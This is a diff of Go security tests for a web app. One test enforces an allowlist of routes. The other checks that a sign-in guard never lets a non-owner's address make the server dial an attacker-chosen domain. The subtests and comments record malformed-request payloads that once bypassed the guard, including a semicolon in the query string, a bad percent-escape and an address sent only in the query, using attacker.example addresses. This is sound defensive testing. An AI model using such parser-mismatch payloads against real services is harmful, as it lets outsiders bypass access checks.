+// r.Delete("/documents/{id}", a.index) -> undeclared route: DELETE /documents/{id}
+// r.Handle("/", h) -> undeclared route: ANY /
+// mux.HandleFunc("/documents", a.index) -> undeclared mux pattern: /documents
+func TestNoUndeclaredRoutes(t *testing.T) {
+ // Chi registrations, as METHOD + pattern. §9.1's /query is
+ // deliberately absent: the app serves GET / and it is the spec that is
+ // wrong, which §8.4 records. Adding to this list is a decision, which
+ // is the point of it being a list.
+ declaredChi := map[string]bool{
+ "GET /signin": true,
+ "GET /": true,
+ // GET /search renders the results region alone, from the same
+ // template GET /?q= renders it inside a page, so live search can
+ // replace that region on a keystroke. Same session gate, no passage
+ // the page did not already speak; delete the script and nothing
+ // calls it. Declared 2026-09-06 when this gate caught it arriving
+ // from main — the second time in one merge that a route could not
+ // reach the app until somebody wrote it down.
+ "GET /search": true,
+ "POST /documents": true,
+ "GET /documents/{id}": true,
+ "POST /documents/{id}/delete": true,
+ "POST /auth/begin": true,
+ "GET /auth/callback": true,
+ "GET /auth/verify": true,
+ "POST /signout": true,
+
+ // The connector surface (§5.1), added by the Notion work and
+ // declared here on 2026-09-06 when this gate caught it — which is
+ // the gate working: five new routes arrived on main and none of
+ // them could reach the app until somebody wrote them down.
+ //
+ // All five sit inside requireOwner AND requireSession. They are
+ // memoria-owned content's ingest path (§4.2), not a sibling
+ // surface: decision 7 still holds, and §9.1's rule that a sibling
+ // presenting a connector token is refused is a different gate.
+ "GET /connectors": true,
+ "GET /connectors/notion": true,
+ "POST /connectors/notion": true,
+ "POST /connectors/notion/sync": true,
+ "POST /connectors/notion/disconnect": true,
+ }
+ // http.ServeMux patterns, verbatim — these are mounts, and the method
+ // (where there is one) lives inside the string.
+ declaredMux := map[string]bool{
+ "GET /static/": true,
+ "/": true,
+ "/auth/": true,
+ "POST /signout": true,
+ }
+ // Router method -> index of the pattern argument. Handle, HandleFunc,
+ // Mount and Route bind every method, so they read as ANY.
+ patternArg := map[string]int{
+ "Get": 0, "Post": 0, "Put": 0, "Patch": 0, "Delete": 0,
+ "Head": 0, "Options": 0, "Connect": 0, "Trace": 0,
+ "Handle": 0, "HandleFunc": 0, "Mount": 0, "Route": 0,
+ "Method": 1, "MethodFunc": 1,
+ }
+ anyMethod := map[string]bool{
+ "Handle": true, "HandleFunc": true, "Mount": true, "Route": true,
+ }
+
+ // chi's chaining constructors, and only these. Following an arbitrary
+ // selector chain instead was the first attempt and it was wrong: `r` is
+ // also the conventional name for an *http.Request, so
+ // r.URL.Query().Get("err") resolved to "r" and reported the query
+ // parameter as an undeclared GET route. Two real handler lines, caught
+ // by running it.
+ chainThrough := map[string]bool{"With": true, "Group": true, "Route": true}
+
+ // rootReceiver resolves r.With(mw).Post back to r, and refuses to
+ // resolve anything else, so the walk sees chi's standard middleware
+ // spelling without inventing routes out of request accessors.
+ var rootReceiver func(ast.Expr) string
+ rootReceiver = func(e ast.Expr) string {
+ switch v := e.(type) {
+ case *ast.Ident:
+ return v.Name
+ case *ast.CallExpr:
+ if s, ok := v.Fun.(*ast.SelectorExpr); ok && chainThrough[s.Sel.Name] {
+ return rootReceiver(s.X)
+ }
+ }
+ return ""
+ }
+
+ var problems []string
+ seen := 0
+
+ inspect := func(path string, fset *token.FileSet, file *ast.File) {
+ ast.Inspect(file, func(n ast.Node) bool {
+ call, ok := n.(*ast.CallExpr)
+ if !ok {
+ return true
+ }
+ sel, ok := call.Fun.(*ast.SelectorExpr)
+ if !ok {
+ return true
+ }
+ recv := rootReceiver(sel.X)
+ if recv != "r" && recv != "mux" {
+ return true
+ }
+ idx, ok := patternArg[sel.Sel.Name]
+ if !ok || len(call.Args) <= idx {
+ return true
+ }
+ seen++
+ line := fset.Position(call.Pos()).Line
+ lit, ok := call.Args[idx].(*ast.BasicLit)
+ if !ok || lit.Kind != token.STRING {
+ problems = append(problems, fmt.Sprintf(
+ "%s:%d: route pattern is not a literal, so this gate cannot read it",
+ path, line))
+ return true
+ }
+ pattern, err := strconv.Unquote(lit.Value)
+ if err != nil {
+ problems = append(problems, fmt.Sprintf(
+ "%s:%d: unreadable route pattern %s", path, line, lit.Value))
+ return true
+ }
+ if recv == "mux" {
+ if !declaredMux[pattern] {
+ problems = append(problems, fmt.Sprintf(
+ "%s:%d: undeclared mux pattern: %s", path, line, pattern))
+ }
+ return true
+ }
+ method := strings.ToUpper(sel.Sel.Name)
+ if anyMethod[sel.Sel.Name] {
+ method = "ANY"
+ }
+ if key := method + " " + pattern; !declaredChi[key] {
+ problems = append(problems, fmt.Sprintf(
+ "%s:%d: undeclared route: %s", path, line, key))
+ }
+ return true
+ })
+ }
+
+ walk := func(root string) error {
+ return filepath.Walk(root, func(p string, info os.FileInfo, err error) error {
+ if err != nil {
+ return err
+ }
+ if info.IsDir() || !strings.HasSuffix(p, ".go") || strings.HasSuffix(p, "_test.go") {
+ return nil
+ }
+ fset := token.NewFileSet()
+ file, err := parser.ParseFile(fset, p, nil, parser.SkipObjectResolution)
+ if err != nil {
+ return err
+ }
+ inspect(p, fset, file)
+ return nil
+ })
+ }
+
+ for _, root := range []string{
+ filepath.Join("..", "memoria"),
+ filepath.Join("..", "..", "cmd"),
+ } {
+ if err := walk(root); err != nil {
+ t.Fatal(err)
+ }
+ }
+
+ // A count that fails is not a count of zero (AGENTS.md). If the walk
+ // found no registrations at all then the finder is broken, and a green
+ // gate over an empty set is this codebase's worst failure shape.
+ //
+ // Note what this does and does not prove: cmd/ registers no routes
+ // today, so emptying either root alone still trips it. It is a smoke
+ // check on the finder, not a census of what the finder should see.
+ if seen == 0 {
+ t.Fatal("found no route registrations at all: the walk is broken, not the app clean")
+ }
+
+ for _, p := range problems {
+ t.Error(p)
+ }
+}
+
+// Production mounts auth through MountAuth, which is where the sign-in
+// guard is attached.
+//
+// An adversarial pass mutated `main.go` to build its own chi router,
+// register `POST /auth/begin` on it bare, and hand it to the mux — and
+// every test stayed green, because the tests build their own app and
+// nothing observed how production wires itself. Gate 17's route walk did
+// not catch it either: it follows receivers named r and mux, and states
+// that limit honestly.
+//
+// This is a source check and it buys one thing: main cannot quietly stop
+// going through MountAuth. It does not prove the guard works — gate 33
+// does that — only that production is the thing gate 33 tested.
+//
+// MUTATION-TESTED 2026-09-05: deleting either call from main.go fails
+// here. Reverted.
+func TestProductionMountsAuthThroughTheGuardedPath(t *testing.T) {
+ src, err := os.ReadFile(filepath.Join("..", "..", "cmd", "memoria", "main.go"))
+ if err != nil {
+ t.Fatalf("read main.go: %v", err)
+ }
+ for _, want := range []string{"UseAuth(", "MountAuth("} {
+ if !strings.Contains(string(src), want) {
+ t.Errorf("cmd/memoria/main.go does not call %s — auth is being wired "+
+ "some other way, and the sign-in guard is attached inside "+
+ "MountAuth", want)
+ }
+ }
+}
diff --git a/internal/memoriatest/signindial_test.go b/internal/memoriatest/signindial_test.go
new file mode 100644
index 0000000..e2194bc
--- /dev/null
+++ b/internal/memoriatest/signindial_test.go
@@ -0,0 +1,309 @@
+package memoriatest
+
+import (
+ "context"
+ "errors"
+ "io"
+ "log/slog"
+ "net"
+ "net/http"
+ "net/http/httptest"
+ "net/url"
+ "path/filepath"
+ "strings"
+ "sync/atomic"
+ "testing"
+
+ "github.com/carlosframework/rastrillo/db"
+
+ memoria "amadan.net/oficina/memoria/internal/memoria"
+)
+
+// dialRecorder stands in for the network — BOTH halves of it.
+//
+// The classifier resolves a TXT record for the submitted domain first and
+// only fetches https://<domain>/.well-known/keymail if that finds a
+// keymail delegation. So the DNS query is the outbound step that happens
+// for every address, and the HTTP fetch is the one that happens for some.
+// A recorder watching only HTTP would have called a reserved-TLD address
+// "no dial" while the process had already asked the world about it —
+// which is what the first draft of this gate did, and what its two-sided
+// half caught within a minute of being written.
+type dialRecorder struct {
+ hits atomic.Int64
+ last atomic.Value // string
+}
+
+func (d *dialRecorder) note(what string) {
+ d.hits.Add(1)
+ d.last.Store(what)
+}
+
+func (d *dialRecorder) RoundTrip(r *http.Request) (*http.Response, error) {
+ d.note("HTTP " + r.URL.String())
+ return nil, errRecorded
+}
+
+func (d *dialRecorder) dialed() bool { return d.hits.Load() > 0 }
+
+func (d *dialRecorder) where() string {
+ if s, ok := d.last.Load().(string); ok {
+ return s
+ }
+ return "(none)"
+}
+
+// errRecorded is returned instead of performing any request. The value is
+// irrelevant; being called at all is the finding.
+var errRecorded = errors.New("memoriatest: outbound request recorded, not sent")
+
+// stubMailer accepts a magic link and discards it. Never a real sender:
+// the link is a live credential and this test does not need one sent.
+type stubMailer struct{ sent atomic.Int64 }
+
+func (m *stubMailer) Send(ctx context.Context, to, subject, body string) error {
+ m.sent.Add(1)
+ return nil
+}
+
+const dialTestOwner = "owner@example.test"
+
+// signinApp builds the app the way main.go does — production constructor,
+// real auth, real owners list — and points the whole process's HTTP
+// transport at a recorder.
+func signinApp(t *testing.T) (http.Handler, *dialRecorder) {
+ t.Helper()
+ return signinAppWithOwners(t, []string{dialTestOwner})
+}
+
+// signinAppWithOwners is signinApp with the owners list under the test's
+// control, so the fail-closed branch — an app wired with no owners at all
+// — can be reached. NewAuth still gets a real predicate; it refuses to
+// construct without one.
+func signinAppWithOwners(t *testing.T, owners []string) (http.Handler, *dialRecorder) {
+ t.Helper()
+ logger := slog.New(slog.NewTextHandler(io.Discard, nil))
+ d, err := db.Open(filepath.Join(t.TempDir(), "app.db"), logger)
+ if err != nil {
+ t.Fatalf("db.Open: %v", err)
+ }
+ t.Cleanup(func() { d.Close() })
+
+ mux, a, err := memoria.App(d, testOrigin, testDEK(t), logger)
+ if err != nil {
+ t.Fatalf("App: %v", err)
+ }
+ au, err := memoria.NewAuth(d.Writer(), memoria.AuthEnv{
+ Origin: testOrigin,
+ InstanceKey: "signin-dial-gate-instance-key",
+ Owners: []string{dialTestOwner},
+ Mailer: &stubMailer{},
+ }, logger, a.Admit)
+ if err != nil {
+ t.Fatalf("NewAuth: %v", err)
+ }
+ a.UseAuth(au)
+ a.SetOwners(owners)
+ a.MountAuth(mux, testOrigin)
+
+ rec := &dialRecorder{}
+
+ prevTransport := http.DefaultTransport
+ http.DefaultTransport = rec
+ t.Cleanup(func() { http.DefaultTransport = prevTransport })
+
+ // PreferGo routes resolution through Go's own resolver, which calls
+ // Dial — the only hook that sees a DNS query from inside the process.
+ prevResolver := net.DefaultResolver
+ net.DefaultResolver = &net.Resolver{
+ PreferGo: true,
+ Dial: func(ctx context.Context, network, address string) (net.Conn, error) {
+ rec.note("DNS " + address)
+ return nil, errRecorded
+ },
+ }
+ t.Cleanup(func() { net.DefaultResolver = prevResolver })
+
+ return mux, rec
+}
+
+func beginSignin(t *testing.T, h http.Handler, address string) *httptest.ResponseRecorder {
+ t.Helper()
+ form := url.Values{"address": {address}}
+ req := httptest.NewRequest(http.MethodPost, "/auth/begin", strings.NewReader(form.Encode()))
+ req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
+ req.Header.Set("Origin", testOrigin)
+ rr := httptest.NewRecorder()
+ h.ServeHTTP(rr, req)
+ return rr
+}
+
+// Gate 33 (spec §3.2, §4.3): an anonymous visitor cannot make this
+// instance dial a domain of their choosing.
+//
+// rastrillo's sign-in classifier fetches the submitted address's domain
+// inside auth.Begin, before the Authorize callback runs. memoria's
+// beginGuard runs the owners predicate first, so a non-owner's address
+// never reaches the classifier.
+//
+// The gate is deliberately TWO-SIDED, and that is the part worth reading.
+// Asserting only "a non-owner causes no dial" is satisfied by a guard
+// that refuses everybody, by auth being unwired, by the route being
+// absent, and by the transport never being consulted at all — four ways
+// to be green while the app is broken or the test is measuring nothing.
+// So the owner case asserts the dial DOES happen, which proves the
+// recorder is installed, the route is reachable, the classifier still
+// runs for an admitted address, and the guard discriminates rather than
+// blocks.
+//
+// MUTATION-TESTED 2026-09-05, in two passes, and the second is why this
+// file is worth reading.
+//
+// The author's five, each verified red:
+//
+// M1 register a.auth.Begin bare, no guard -> non-owner case red
+// M2 guard admits everyone -> non-owner case red
+// M3 guard refuses everyone -> owner case red
+// M4 guard returns 403 instead of ?sent=1 -> non-owner case red
+// M5 neither recorder installed -> owner case red
+//
+// Then an adversarial pass by someone who did not write the gate, per
+// AGENTS.md. It found the five above were the cases already defended
+// against, and that **the gate was green over two live bypasses in the
+// shipped guard** — not mutations, the actual code:
+//
+// - `POST /auth/begin?a;b=1` with an ordinary body reached the
+// classifier. The guard called ParseForm and passed the request
+// through on error; ParseForm reports a query-string error even when
+// the body parsed fine, and rastrillo's FormValue ignores it and uses
+// what parsed. One character defeated the check.
+// - An address supplied only in the query string was invisible to the
+// guard's PostFormValue and visible to rastrillo's FormValue.
+//
+// Both are one mistake — a guard reading the request differently from the
+// thing it guards — and the subtests below are the four payloads that
+// proved it, each confirmed to go red against the old code with the
+// resolver being asked for the attacker's domain.
+//
+// The same pass found three more green mutations, now closed: SigninPath
+// drifting from the guard's own constant (they share it), dropping
+// csrf.Protect from MountAuth (cross-origin now answers identically), and
+// a nil predicate falling open (asserted).
+//
+// STILL OPEN, and stated rather than quietly carried: rate limiting makes
+// owner and non-owner distinguishable after five submissions, because the
+// guard sits in front of signin's per-address budget. See beginGuard's
+// residual 2. Not closable from here.
+func TestSigninDoesNotDialForANonOwner(t *testing.T) {
+ t.Run("a non-owner never reaches the classifier", func(t *testing.T) {
+ h, rec := signinApp(t)
+ rr := beginSignin(t, h, "stranger@attacker.example")
+
+ if rec.dialed() {
+ t.Errorf("an unadmitted address made the instance dial %s", rec.where())
+ }
+ if rr.Code != http.StatusSeeOther {
+ t.Errorf("status = %d, want %d — a non-owner must get the same "+
+ "outcome as a sent link, not a distinguishable one",
+ rr.Code, http.StatusSeeOther)
+ }
+ if got := rr.Header().Get("Location"); got != "/signin?sent=1" {
+ t.Errorf("Location = %q, want %q: a distinct destination turns "+
+ "this guard into an owners-list oracle, which is a worse "+
+ "leak than the dial it removes", got, "/signin?sent=1")
+ }
+ })
+
+ t.Run("an owner still reaches it, or this gate proves nothing", func(t *testing.T) {
+ h, rec := signinApp(t)
+ beginSignin(t, h, dialTestOwner)
+
+ if !rec.dialed() {
+ t.Error("the classifier was never reached for an admitted address: " +
+ "either the guard refuses everybody, or the recorder is not " +
+ "installed, or the route is gone — in all three the other " +
+ "half of this gate is measuring nothing")
+ }
+ })
+
+ // A guard that reads the request differently from the thing it guards
+ // is not guarding it. Every case below defeated the first version,
+ // which called ParseForm and passed the request through on error —
+ // and ParseForm reports a query-string error even when the body is
+ // fine, while rastrillo's FormValue ignores it and uses what parsed.
+ //
+ // Found by an adversarial mutation pass, 2026-09-05. These are not
+ // mutations: they were live bypasses of shipped code.
+ t.Run("a malformed request does not skip the check", func(t *testing.T) {
+ const stranger = "stranger@attacker.example"
+ cases := []struct {
+ name, target, body, contentType string
+ }{
+ {"semicolon in the query string", "/auth/begin?a;b=1",
+ "address=" + stranger, "application/x-www-form-urlencoded"},
+ {"semicolon in the body", "/auth/begin",
+ "x;y=1&address=" + stranger, "application/x-www-form-urlencoded"},
+ {"bad percent-escape in the body", "/auth/begin",
+ "x=%zz&address=" + stranger, "application/x-www-form-urlencoded"},
+ {"malformed Content-Type, address in the query",
+ "/auth/begin?address=" + url.QueryEscape(stranger),
+ "", "application/x-www-form-urlencoded; charset"},
+ {"address only in the query string, empty body",
+ "/auth/begin?address=" + url.QueryEscape(stranger),
+ "", "application/x-www-form-urlencoded"},
+ }
+ for _, c := range cases {
+ t.Run(c.name, func(t *testing.T) {
+ h, rec := signinApp(t)
+ req := httptest.NewRequest(http.MethodPost, c.target, strings.NewReader(c.body))
+ req.Header.Set("Content-Type", c.contentType)
+ req.Header.Set("Origin", testOrigin)
+ h.ServeHTTP(httptest.NewRecorder(), req)
+ if rec.dialed() {
+ t.Errorf("an unadmitted address reached the classifier via %s: dialed %s",
+ c.name, rec.where())
+ }
+ })
+ }
+ })
+
+ // A cross-site page can read the difference between an opaque redirect
+ // and an opaque response, so owner and stranger must be identical
+ // cross-origin too. Without this, removing csrf.Protect from MountAuth
+ // — plausible, since Begin re-checks the origin itself — turns the
+ // guard into an oracle: 403 for an owner, 303 for a stranger.
+ t.Run("cross-origin answers the same for both", func(t *testing.T) {
+ submit := func(address string) (int, string) {
+ h, _ := signinApp(t)
+ form := url.Values{"address": {address}}
+ req := httptest.NewRequest(http.MethodPost, "/auth/begin", strings.NewReader(form.Encode()))
+ req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
+ req.Header.Set("Origin", "https://evil.example")
+ rr := httptest.NewRecorder()
+ h.ServeHTTP(rr, req)
+ return rr.Code, rr.Header().Get("Location")
+ }
+ ownerCode, ownerLoc := submit(dialTestOwner)
+ strangerCode, strangerLoc := submit("stranger@attacker.example")
+ if ownerCode != strangerCode || ownerLoc != strangerLoc {
+ t.Errorf("cross-origin is distinguishable: owner %d %q, stranger %d %q",
+ ownerCode, ownerLoc, strangerCode, strangerLoc)
+ }
+ })
+
+ // The fail-closed branch was untested prose until this existed: the
+ // gate always installed an owners list, so making the empty case fall
+ // through to rastrillo stayed green while dialing for everyone.
+ t.Run("no owners refuses rather than falling open", func(t *testing.T) {
+ h, rec := signinAppWithOwners(t, nil)
+ rr := beginSignin(t, h, "stranger@attacker.example")
+ if rec.dialed() {
+ t.Errorf("an app with no owners list dialed %s", rec.where())
+ }
+ if rr.Code != http.StatusInternalServerError {
+ t.Errorf("status = %d, want %d: an empty owners list is a wiring "+
+ "bug — LoadConfig refuses to boot without one — and must say "+
+ "so rather than refuse quietly", rr.Code, http.StatusInternalServerError)
+ }
+ })
+}